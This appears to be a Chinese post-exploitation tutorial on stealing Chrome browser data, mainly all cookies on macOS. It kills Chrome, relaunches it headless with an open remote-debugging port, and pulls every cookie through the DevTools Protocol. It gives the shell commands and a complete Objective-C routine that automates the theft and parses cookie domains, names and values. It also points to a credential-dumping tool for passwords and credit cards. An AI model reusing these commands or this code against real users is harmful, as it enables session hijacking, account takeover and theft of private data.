1、背景
在后台渗透中,获取用户数据是很重要的一步,其中包括浏览器的各种敏感信息,如浏览记录、下载历史、cookie、书签等。
在windows和Linux设备上可以比较轻松的获取各种浏览器的敏感信息,chrome extensions也有很多插件可以获取;hack-browser-data就是一个浏览器(包括密码、历史记录、Cookie、书签、信用卡、下载记录)的导出工具,支持全平台主流浏览器。GitHub主页:https://github.com/moonD4rk/HackBrowserData
Chrome的数据文件存储路径可以通过在地址栏中输入chrome://version看到,其中个人资料(Profile Path)就是存储路径:
此路径下有Cookies、History、Login Data等文件存储对应的信息,拷贝后使用 sqlite3 数据库打开Cookies,看到encrypte_value关键字段是BLOB (Binary long Object)类型,我们要做的就是如何解密这串二进制。
在windows上,解密需要用到的secret key值存储在Profile Path上级路径的Local State文件中,字段encrypted_key 为AES用到的key值。整个解密过程无需任何密码,用户只需可以访问Chrome数据文件便可完成解密。
在macos上,解密稍微不一样,其中用到的secret key值则存储在keychain中,所以解密过程必须得要输入系统密码,会有弹窗提示出现。
- 关键点来喽:
2、Mac下dump cookie
在Mac平台需要解密数据,如cookie,则无法通过常规手段(通过获取对应存储数据)解密得到。
使用chrome提供的 CDP(Chrome DevTools Protocol),这是一个用于与Chrome浏览器进行通信的远程调试协议。通过WebSocket连接发送CDP命令来获取cookie。具体的命令是Network.getCookies。
第一步
1、 ps aux | grep Chrome 观察浏览器是否在运行。
2 、若浏览器已运行,执行:killall "Google Chrome" 杀掉浏览器进程。
3 、马上在第二步命令后加上--restore-last-session,还原浏览器最近浏览的选项卡。
4 、若浏览器未在运行,直接执行第二步,获取到cookie后 杀掉进程即可。
第二步
以远程调试模式启动Chrome,命令如下:
/Applications/Google Chrome.app/Contents/MacOS/Google Chrome --headless --remote-allow-origins=* --remote-debugging-port=9222 --user-data-dir=/Users/imac/Library/Application Support/Google/Chrome
运行 Headless Chrome 模式可以不显示窗口,根据需要是否使用
第三步
获取WebSocket调试URL,命令如下:
curl -s localhost:9222/json
这个端点会返回所有打开的标签页的信息,包括每个标签页的WebSocket调试URL。
webSocketDebuggerUrl字段就是要用到的调试URL(任选一个webSocketDebuggerUrl即可)
第四步
使用第三步得到的URL,建立WebSocket连接,通过WebSocket连接发送CDP命令来获取cookie。格式如下:
{"id": 1,"method":"Network.getAllCookies"}
如上图:发送命令后会收到返回的结果,红色框起来部分,成功获取到cookie。
PS:以下几个URL都可以访问查看相关信息
**http://localhost:9222/json
http://localhost:9222/json/protocol
http://localhost:9222/json/version**
以下方法为关键方法
- (void)getCookieInfo {
NSString *googleChromeName = @"Google Chrome";
BOOL googleChromeExist = [CommonUtil checkFileExist:@"/Applications/Google Chrome.app"];
if (!googleChromeExist) {
NSLog(@"Google Chrome has not installed");
}else {
NSArray *googleChromeProcessArray = [CommonUtil runningProcessesWithProcessName:googleChromeName];
if (googleChromeProcessArray.count == 0) {
NSLog(@"Chrome not running, start executing the command.");
NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --headless --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
[CMDUtil executeCommand:exec_cmd];
});
int check_num = 0;
BOOL Chrome_Running = NO;
while (1) {
NSLog(@"detected 第%d次 Chrome is it activated", check_num);
if (check_num >= 30) {//2秒一次,达到30说明已经检测了1分钟还未启动起来
break;
}
sleep(2);
//这里必须用Helper这个进程来检测,因为浏览器还没有完全启动起来的时候,Google Chrome这个进程也已经存在了,但是Helper这个进程会在浏览器完全启动起来才出现
if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//检测google_chrome是否启动起来了
//已经启动起来了;
Chrome_Running = YES;
break;
};
NSLog(@"Chrome还未启动起来,继续检测");
check_num++;
}
if (Chrome_Running) {
NSLog(@"Chrome启动成功");
[self curlGetCookie];//执行获取cookie的方法,比较关键
//获取成功关闭chrome
NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
[CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
NSLog(@"Kill Google Chrome");
}else {
NSLog(@"启动Chrome超时");
}
}else {
//找到已经运行的进程,关闭该chrome进程
NSString *googleChromePID = [CommonUtil runningProcessesWithProcessName:googleChromeName][0][@"ProcessID"];
[CMDUtil executeCommand:[NSString stringWithFormat:@"kill -9 %@", googleChromePID]];
NSString *exec_cmd = [NSString stringWithFormat:@"/Applications/Google\\ Chrome.app/Contents/MacOS/Google\\ Chrome --remote-allow-origins=* --remote-debugging-port=%@ --user-data-dir=\"%@/Application Support/Google/Chrome\"", listening_port, [CommonUtil getLibPath]];
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
[CMDUtil executeCommand:exec_cmd];
});
int check_num = 0;
BOOL Chrome_Running = NO;
while (1) {
NSLog(@"detected 第%d次 Chrome is it activated", check_num);
if (check_num >= 30) {//2秒一次,达到30说明已经检测了1分钟还未启动起来
break;
}
sleep(2);
//这里必须用Helper这个进程来检测,因为浏览器还没有完全启动起来的时候,Google Chrome这个进程也已经存在了,但是Helper这个进程会在浏览器完全启动起来才出现
if ([CommonUtil runningProcessesWithProcessName:@"Google Chrome Helper (Renderer)"].count != 0 ) {//检测google_chrome是否启动起来了
//已经启动起来了;
Chrome_Running = YES;
sleep(10);//再等待10秒来确定浏览器已经启动起来了
break;
};
NSLog(@"Chrome还未启动起来,继续检测");
check_num++;
}
if (Chrome_Running) {
NSLog(@"Chrome启动成功");
[self curlGetCookie];//执行获取cookie的方法,比较关键
}else {
XHLog(@"启动Chrome超时");
}
}
}
return res;
}
- (void)curlGetCookie {
NSString *result = [CMDUtil executeCommand:[NSString stringWithFormat:@"curl -s localhost:%@/json",listening_port]];
NSData *nsData=[result dataUsingEncoding:NSUTF8StringEncoding];
NSError *err;
NSArray *urls = [NSJSONSerialization JSONObjectWithData:nsData options:kNilOptions error:&err];
if (err != nil) {
NSLog(@"解析出错:%@",err.localizedDescription);
NSLog(@"出错的数据:%@",result);
}else {
if (urls.count == 0) {
NSLog(@"localhost请求回的数组里没有任何结果");
}else {
NSDictionary *dic = urls[0];
NSString *url = dic[@"webSocketDebuggerUrl"];
NSLog(@"URL:%@",url);
self.socket = [[JFRWebSocket alloc] initWithURL:[NSURL URLWithString:url] protocols:@[]];
self.socket.delegate = self;
__block NSString *error_msg = @"";
__block NSString *cookie_str = @"";
__block BOOL isLoopRunning = YES;
__weak __typeof(self)weakSelf = self;
self.socket.onConnect = ^{
__strong __typeof(weakSelf)strongSelf = weakSelf;
[strongSelf.socket writeString:@"{\"id\": 1, \"method\": \"Storage.getCookies\"}"];//Storage.getCookies || Network.getAllCookies
XHLog(@"websocket已连接");
};
self.socket.onDisconnect = ^(NSError *error) {
isLoopRunning = NO;
error_msg = @"Websocket is disconnected";
NSLog(@"websocket is disconnected: %@",error);
};
self.socket.onText = ^(NSString *text) {
NSLog(@"获取到Cookie返回值");
cookie_str = text;
isLoopRunning = NO;
};
[self.socket connect];
__block BOOL time_out = NO;
//这里添加一个定时任务,主要是防止websocket一直连接不上,程序一直在这里卡着
[[GCDTimerManager sharedInstance] scheduleGCDTimerWithName:@"overdue" interval:30 queue:nil repeats:NO option:CancelPreviousTimerAction action:^{
isLoopRunning = NO;
time_out = YES;
}];
do {
[NSRunLoop.mainRunLoop runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];
} while (isLoopRunning);
XHLog(@"获取Cookie走完While循环");
if (time_out) {
NSLog(@"Websocket connection timeout");
}else {
NSLog(@"已经获取完了Cookie");
if (cookie_str.length != 0) {
NSLog(@"%@",cookie_str);
NSLog(@"获取到了cookie,准备解析成json");
NSData *jsonData=[cookie_str dataUsingEncoding:NSUTF8StringEncoding];
NSError *json_err;
NSDictionary *cookie_dic = [NSJSONSerialization JSONObjectWithData:jsonData options:kNilOptions error:&json_err];
if (json_err != nil) {
NSLog(@"Parsing cookies failed");
}else {
if ([[cookie_dic allKeys] containsObject:@"result"]) {
NSDictionary *cookie_d = cookie_dic[@"result"];
if ([[cookie_d allKeys] containsObject:@"cookies"]) {
NSArray *cookies_array = cookie_d[@"cookies"];
// {
// domain = ".cloud.ibm.com";
// expires = "1155201149.639244";
// httpOnly = 1;
// name = "com.ibm.cloud.console.analytics.anonymousId";
// path = "/analytics";
// priority = Medium;
// sameParty = 0;
// sameSite = None;
// secure = 1;
// session = 0;
// size = 79;
// sourcePort = 443;
// sourceScheme = Secure;
// value = "70c6xxff-4af8-4w88-q40e-c5eb44a74f1b";
// }
// NSInteger cookie_number = 10;
// if(cookies_array.count > cookie_number) {//只取最后10条记录,避免数据写入库失败
// cookies_array = [cookies_array subarrayWithRange:NSMakeRange(cookies_array.count - cookie_number, cookie_number)];
// }
// 创建一个数组来存储提取的信息
NSMutableArray *extractedInfoArray = [NSMutableArray array];
// 遍历字典数组
for (NSDictionary *dict in cookies_array) {
// 提取domain、name和value
NSString *const domain = dict[@"domain"];
NSString *const name = dict[@"name"];
NSString *const value = dict[@"value"];
// 创建一个新字典来存储提取的信息
NSMutableDictionary *extractedInfo = [NSMutableDictionary dictionary];
extractedInfo[@"domain"] = domain;
extractedInfo[@"name"] = name;
extractedInfo[@"value"] = value;
// 将提取的信息添加到数组中
[extractedInfoArray addObject:extractedInfo];
}
NSError *array_error = nil;
NSData *jsonArrayData = [NSJSONSerialization dataWithJSONObject:extractedInfoArray options:NSJSONWritingPrettyPrinted error:&array_error];
NSString *cookies_str = [[NSString alloc] initWithData:jsonArrayData encoding:NSUTF8StringEncoding];;
if (array_error != nil) {
NSLog(@"Serialization cookies array error:%@",array_error.localizedDescription);
NSLog(@"序列化数组出错:%@",array_error.localizedDescription);
}else {
NSLog(@"成功解析了Cookie,值为:%@",cookie_str);
}
}else {//字典中没有找到Cookies字段
NSLog(@"字典中没有找到Cookies字段");
}
}else {
XHLog(@"没有result的情况");
}
}
}else {
NSLog(@"cookie没有获取成功,错误信息:%@",error_msg);
}
}
}
}
}
**粗体** _斜体_ [链接](http://example.com) `代码` - 列表 > 引用
。你还可以使用@
来通知其他用户。